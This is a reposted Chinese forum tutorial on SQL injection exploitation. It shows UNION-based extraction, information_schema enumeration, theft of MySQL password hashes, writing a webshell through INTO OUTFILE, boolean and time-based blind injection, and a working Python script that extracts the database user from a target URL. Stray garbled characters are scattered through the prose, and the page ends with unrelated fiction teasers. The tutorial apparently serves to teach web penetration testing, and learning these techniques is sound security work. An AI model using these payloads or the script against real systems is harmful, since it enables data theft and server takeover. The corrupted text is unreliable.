滲透攻防Web篇-SQL注入攻擊中級

來源:http://bbs.ichunqiu.com/thread-9668-1-1.html?from=ch

作者:zusheng

時間:2016年8月8日 11:03:56

社區(qū):i春秋

前言

找到SQL注入漏洞后,我們可以用它來干什么呢?那么本篇文章給大家?guī)淼木褪荢QL注入漏洞利用技術(shù),現(xiàn)在是時候讓我們?nèi)ンw驗一下漏洞利用的樂趣了乔遮。

目錄

第三節(jié) 利用SQL注入

3.1骨田、識別數(shù)據(jù)庫

3.2漓库、UINON語句提取數(shù)據(jù)

3.3剩瓶、枚舉數(shù)據(jù)庫

3.4、竊取哈喜盏睿可令

3.5形用、獲取WebShell

第四節(jié) SQL盲注利用

4.1就轧、初識SQL盲注

4.2、SQL盲注入技術(shù)-基于布爾

4.3田度、SQL盲注入技術(shù)-基于時間

4.4妒御、我們的好朋友-Python

正文

第三節(jié) 利用SQL注入

3.1、識別數(shù)據(jù)庫

要想發(fā)動SQL注入攻擊镇饺,就要知道正在使用的系統(tǒng)數(shù)據(jù)庫乎莉,不然就沒法提取重要的數(shù)據(jù)。

首先從Web應(yīng)用技術(shù)上就給我們提供了判斷的線索:

ASP和.NET:Microsoft SQL Server

PHP:MySQL奸笤、PostgreSQL

Java:Oracle惋啃、MySQL

底層操作系統(tǒng)也給我們提供了線索,比如安裝IIS作為服務(wù)器平臺监右,后臺數(shù)據(jù)及很有可能是Microsoft SQL Server边灭,而允許Apache和PHP的Linux服務(wù)器就很有可能使用開源的數(shù)據(jù)庫,比如MySQL和PostgreSQL健盒。

基于錯誤識別數(shù)據(jù)庫

大多數(shù)情況下绒瘦,要了解后臺是什么數(shù)據(jù)庫,只需要看一條詳細(xì)的錯誤信息即可扣癣。比如判斷我們事例中使用的數(shù)據(jù)庫惰帽,我們加個單引號。

[SQL]純文本查看復(fù)制代碼

?

1

error:You have an errorinyour SQL syntax;checkthe manual that correspondstoyour MySQL server versionfortherightsyntaxtouse near'''atline 1

從錯誤信息中父虑,我們就可以發(fā)現(xiàn)是MySQL该酗。

[SQL]純文本查看復(fù)制代碼

?

1

2

3Microsoft OLE DB ProviderforODBC Drivers 錯誤'80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1:

上面錯誤信息可以發(fā)現(xiàn)是Microsoft SQL Server,如果錯誤信息開頭是ORA士嚎,就可以判斷數(shù)據(jù)庫是Oracle垂涯,很簡單烁焙,道理都是一樣的,就不一一列舉了耕赘。

基于數(shù)字函數(shù)推斷

數(shù)據(jù)庫服務(wù)器函數(shù)

Microsoft SQL Server@@pack_received、@@rowcount

MySQLconnection_id()膳殷、last_insert_id()操骡、row_count()

OracleBITAND(1,1)

PostgreSQLselect EXTRACT(DOW FROM NOW())

這里以我們搭建的環(huán)境為例來做推斷:

connection_id()不管它值多少,基本上都是正的赚窃,也就是為真册招,last_insert_id()用法大家自行百度,這里不存在insert語句勒极,默認(rèn)情況就是返回零是掰,也就是假。

那么如果andconnection_id()數(shù)據(jù)返回正常辱匿,andconnection_id()不返回數(shù)據(jù)键痛,我們就可以推斷這是一個MySQL數(shù)據(jù)庫了。

3.2匾七、UINON語句提取數(shù)據(jù)

UNION操作符可以合并兩條或多條SELECT語句的查詢結(jié)果絮短,基本語法如下:

[SQL]純文本查看復(fù)制代碼

?

1

2

3selectcolumn-1column-2fromtable-1

UNION

selectcolumn-1column-2fromtable-2

如果應(yīng)用程序返回了第一條查詢得到的數(shù)據(jù),我們就可以在第一條查詢后面注入一個UNION運(yùn)算符來添加一個任意查詢昨忆,來提取數(shù)據(jù)丁频,是不是很容易啊,當(dāng)然在使用UNION之前我們必須要滿足兩個條件:

兩個查詢返回的列數(shù)必須相同

兩個查詢語句對于列返回的數(shù)據(jù)類型必須相同

首先我來看第一個條件邑贴,如何知道第一條查詢的列數(shù)呢席里?我們可以使用NULL來嘗試,由于NULL值會被轉(zhuǎn)換成任何數(shù)據(jù)類型拢驾,所以我們不用管第二個條件奖磁。

就是這樣的一個個加上去進(jìn)行嘗試,直到不返回錯誤独旷。

神奇的ORDER BY子句

除了上述方法署穗,我們還可以是用order by子句得到準(zhǔn)確列數(shù)

我們先嘗試了12,返回錯誤嵌洼,說明列數(shù)是小于12的案疲,我們繼續(xù)嘗試了6,返回錯誤麻养,同理褐啡,列數(shù)小于6的,我們嘗試3鳖昌,返回正常备畦,說明列數(shù)是大于等于3的低飒,繼續(xù)嘗試4,返回錯誤懂盐。說明列數(shù)是小于4褥赊,列數(shù)大于等于3,小于4莉恼,可以得到列數(shù)是3拌喉。使用order by子句可以幫助我們快速得到列數(shù)。

得到列數(shù)后我們還需要滿足第二個條件

很簡單俐银,只要一次一列使用我們的測試字符串替換NULL即可尿背,可以發(fā)現(xiàn)第一列和第二列都可以存放字符串,第三列數(shù)據(jù)沒有輸出捶惜。

接下來就讓我們提取數(shù)據(jù)庫用戶名和版本號:

3.3田藐、枚舉數(shù)據(jù)庫

這里由于篇幅問題,我們只以MySQL數(shù)據(jù)庫為例了吱七,枚舉數(shù)據(jù)庫并提取數(shù)據(jù)遵循一種層次化的方法汽久,首先我們提取數(shù)據(jù)庫名稱,然后提取表陪捷,再到列回窘,最后才是數(shù)據(jù)本身。要想獲取遠(yuǎn)程數(shù)據(jù)庫的表市袖、列啡直,就要訪問專門保存描述各種數(shù)據(jù)庫結(jié)構(gòu)的表。通常將這些結(jié)構(gòu)描述信息成為元數(shù)據(jù)苍碟。在MySQL中酒觅,這些表都保存在information_schema數(shù)據(jù)庫中

第一步:提取數(shù)據(jù)庫

在MySQL中,數(shù)據(jù)庫名存放在information_schema數(shù)據(jù)庫下schemata表schema_name字段中

[SQL]純文本查看復(fù)制代碼

?

1

id=1unionselectnull,schema_name,nullfrominformation_schema.schemata

第二步:提取表名

在MySQL中微峰,表名存放在information_schema數(shù)據(jù)庫下tables表table_name字段中

[SQL]純文本查看復(fù)制代碼

?

1

?id=1unionselectnull,table_name,nullfrominformation_schema.tableswheretable_schema='ichunqiu'

這里我使用where子句來篩選了舷丹,只返回數(shù)據(jù)庫ichunqiu下的表名,想返回所有表名蜓肆,去掉where子句就行了颜凯。

第三步:提取字段名

在MySQL中,字段名存放在information_schema數(shù)據(jù)庫下columns表column_name字段中

同樣加上where子句限制仗扬,不讓你都不知道字段名是哪個數(shù)據(jù)庫哪個表下症概。

第四步:提取數(shù)據(jù)

這一步就簡單了,不再介紹了早芭,看圖彼城。

3.4、竊取哈希可令

MySQL在mysql.user表中存儲哈夏己荆口令调炬,怎么提取看下圖:

哈希口令是通過使用PASSWORD()函數(shù)計算的:

具體算法取決于MySQL安裝的版本舱馅。

3.5缰泡、獲取WebShell

利用SQL注入攻擊獲取WebShell其實就是在向服務(wù)器寫文件。(注意:這里我們需要得到網(wǎng)站的絕對路徑)所有常用的關(guān)系數(shù)據(jù)庫管理系統(tǒng)(RDBMS)均包含內(nèi)置的向服務(wù)器文件系統(tǒng)寫文件的功能代嗤。

[SQL]純文本查看復(fù)制代碼

?

1

selectintooutfile(dumpfile)? //MySQL寫文件命令

例如:

[SQL]純文本查看復(fù)制代碼

?

1

select""intooutfile"F:\\www\\test.php";

那么其它關(guān)系數(shù)據(jù)庫管理系統(tǒng)同樣的原理寫文件匀谣,就不在過多介紹了。

第四節(jié) SQL盲注利用

4.1资溃、初識SQL盲注

SQL盲注是指在無法使用詳細(xì)數(shù)據(jù)庫錯誤消息或帶內(nèi)數(shù)據(jù)連接的情況下,利用數(shù)據(jù)庫查詢的輸入審查漏洞從數(shù)據(jù)庫提取信息或提取與數(shù)據(jù)庫查詢相關(guān)信息的技術(shù)烈炭。

常見的SQL盲注入場景:

1溶锭、提交一個導(dǎo)致SQL查詢無效時,會返回一個通用錯誤頁面符隙,提交正確則會返回一個內(nèi)容可被適度控制的頁面趴捅。

2、提交一個導(dǎo)致SQL查詢無效時霹疫,會返回一個通用錯誤頁面拱绑,提交正確則會返回一個內(nèi)容不可控的頁面。

3丽蝎、提交受損或不正確的SQL既不會產(chǎn)生錯誤頁面猎拨,也不會以任何方式影響頁面輸出。

4.2屠阻、SQL盲注入技術(shù)-基于布爾

了解完SQL定義以及這類漏洞的注入場景后红省,現(xiàn)在我?guī)Т蠹疑钊胙芯坷眠@些漏洞的技術(shù)。

首先我們我們提交錯誤的SQL国觉,看資源是否返回通用的錯誤頁面吧恃。

我們能控制頁面的輸出結(jié)果嗎?

顯然可以

[SQL]純文本查看復(fù)制代碼

?

1

2id=1and1=1True

id=1and1=2False

怎么利用麻诀?

在介紹利用技巧之前我們先來介紹一個重要的SQL函數(shù)

[SQL]純文本查看復(fù)制代碼

?

1

2SUBSTRING(str,pos,len)

沒有l(wèi)en參數(shù)的形式返回一個字符串從字符串str從位置pos開始痕寓。一個len參數(shù)的形式返回len個字符長的字符串str的子串,從位置pos開始蝇闭,形式使用的是標(biāo)準(zhǔn)的SQL語法呻率。另外,也可以使用負(fù)的值為pos丁眼。在這種情況下晨汹,剛開始的子串位置的字符結(jié)尾的字符串裙戏,而不是開始昌粤。負(fù)的值可用于為pos在此函數(shù)中的任何形式的珊皿。

舉例利用-獲取數(shù)據(jù)的用戶名

[SQL]純文本查看復(fù)制代碼

?

1

2id=1andSUBSTRING(user(),1,1)='a'

#利用SUBSTRING()函數(shù)提取用戶名的第一個字符,看等于字符a嗎菱肖?,如果等于頁面返回True狀態(tài),不等于返回False狀態(tài)乾蓬。

[SQL]純文本查看復(fù)制代碼

?

1

2id=1andSUBSTRING(user(),1,1)='r'

#返回True狀態(tài),也就是頁面正常慎恒,表示用戶名第一個字符是r

這也就是基于布爾的SQL盲注入技術(shù)

4.3任内、SQL盲注入技術(shù)-基于時間

和基于布爾的SQL盲注入技術(shù)原理其實大同小異,當(dāng)某一狀態(tài)為真時融柬,讓響應(yīng)暫停幾秒鐘死嗦,而當(dāng)狀態(tài)為假時,不出現(xiàn)暫停粒氧。

廢話不多說看技巧利用越除。

[SQL]純文本查看復(fù)制代碼

?

1

2id=1unionselectif(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null

#注意使用union的條件哦,前面介紹了外盯。同樣的道理摘盆,提取用戶名前四個字符做判斷,正確就延遲4秒饱苟,錯誤返回1

4.4孩擂、我們的好朋友-Python

使用Python自動化注入獲取用戶名事例:

MySQL提取用戶名進(jìn)行比較不區(qū)分大小寫,所以我們?nèi)サ羝渲械拇髮懽帜赶浒尽4a很簡單类垦,就不解釋了。

[Python]純文本查看復(fù)制代碼

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26importrequests

defattack():

print'launch an attack'

url='http://www.isbase.com/sqlbool.php'

user='[+]system_user: '

zimu1=range(33,65)

zimu2=range(91,128)

zimu=zimu1+zimu2

forlinrange(1,16):

foriinzimu:

payload="and SUBSTRING(user(),"+str(l)+",1)='"+chr(i)+"'"

payload={'id':'1 '+payload}

r=requests.get(url, params=payload)

wenben=r.text

wenben=wenben.encode("utf-8")

result=wenben.find("jim")

if(result !=-1):

user=user+chr(i)

printuser

if__name__=='__main__':

print'Author:zusheng'

print'bbs:ichunqiu.com'

attack()

print'[+]ok'

結(jié)束語

從8月8號開始坦弟,到現(xiàn)在差不多一個星期了护锤,終于在空余時間完成了這篇文章,感謝大家的支持酿傍,寫的自己感覺很滿意了烙懦,但是并不是很完美,希望以后能給大家?guī)砀嗑A的文章吧赤炒。還有最后一篇高級部分氯析。堅持吧,努力給大家?guī)砀敿?xì)更深入的好文莺褒。技術(shù)有限掩缓,如文中有錯誤請指出,謝謝遵岩。

系列文章預(yù)告及導(dǎo)航

滲透攻防Web篇-SQL注入攻擊初級(狀態(tài):已更新)

第一節(jié) 注入攻擊原理及自己編寫注入點(diǎn)

第二節(jié) 尋找及確認(rèn)SQL注入

滲透攻防Web篇-SQL注入攻擊高級(狀態(tài):更新中)

第五節(jié) 避開過濾方法總結(jié)

第六節(jié) 探討SQL注入防御技巧

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末你辣,一起剝皮案震驚了整個濱河市巡通,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌舍哄,老刑警劉巖宴凉,帶你破解...
    沈念sama閱讀 211,948評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異表悬,居然都是意外死亡弥锄,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,371評論 3 385
  • 文/潘曉璐 我一進(jìn)店門蟆沫,熙熙樓的掌柜王于貴愁眉苦臉地迎上來籽暇,“玉大人,你說我怎么就攤上這事饭庞〗溆疲” “怎么了?”我有些...
    開封第一講書人閱讀 157,490評論 0 348
  • 文/不壞的土叔 我叫張陵舟山,是天一觀的道長救崔。 經(jīng)常有香客問我,道長捏顺,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,521評論 1 284
  • 正文 為了忘掉前任纬黎,我火速辦了婚禮幅骄,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘本今。我一直安慰自己拆座,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,627評論 6 386
  • 文/花漫 我一把揭開白布冠息。 她就那樣靜靜地躺著挪凑,像睡著了一般。 火紅的嫁衣襯著肌膚如雪逛艰。 梳的紋絲不亂的頭發(fā)上躏碳,一...
    開封第一講書人閱讀 49,842評論 1 290
  • 那天,我揣著相機(jī)與錄音散怖,去河邊找鬼菇绵。 笑死,一個胖子當(dāng)著我的面吹牛镇眷,可吹牛的內(nèi)容都是我干的咬最。 我是一名探鬼主播,決...
    沈念sama閱讀 38,997評論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼欠动,長吁一口氣:“原來是場噩夢啊……” “哼永乌!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,741評論 0 268
  • 序言:老撾萬榮一對情侶失蹤翅雏,失蹤者是張志新(化名)和其女友劉穎圈驼,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體枚荣,經(jīng)...
    沈念sama閱讀 44,203評論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡碗脊,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,534評論 2 327
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了橄妆。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片衙伶。...
    茶點(diǎn)故事閱讀 38,673評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖害碾,靈堂內(nèi)的尸體忽然破棺而出矢劲,到底是詐尸還是另有隱情,我是刑警寧澤慌随,帶...
    沈念sama閱讀 34,339評論 4 330
  • 正文 年R本政府宣布芬沉,位于F島的核電站,受9級特大地震影響阁猜,放射性物質(zhì)發(fā)生泄漏丸逸。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,955評論 3 313
  • 文/蒙蒙 一剃袍、第九天 我趴在偏房一處隱蔽的房頂上張望黄刚。 院中可真熱鬧,春花似錦民效、人聲如沸憔维。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,770評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽业扒。三九已至,卻和暖如春舒萎,著一層夾襖步出監(jiān)牢的瞬間程储,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,000評論 1 266
  • 我被黑心中介騙來泰國打工臂寝, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留虱肄,地道東北人。 一個月前我還...
    沈念sama閱讀 46,394評論 2 360
  • 正文 我出身青樓交煞,卻偏偏與公主長得像咏窿,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子素征,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,562評論 2 349

推薦閱讀更多精彩內(nèi)容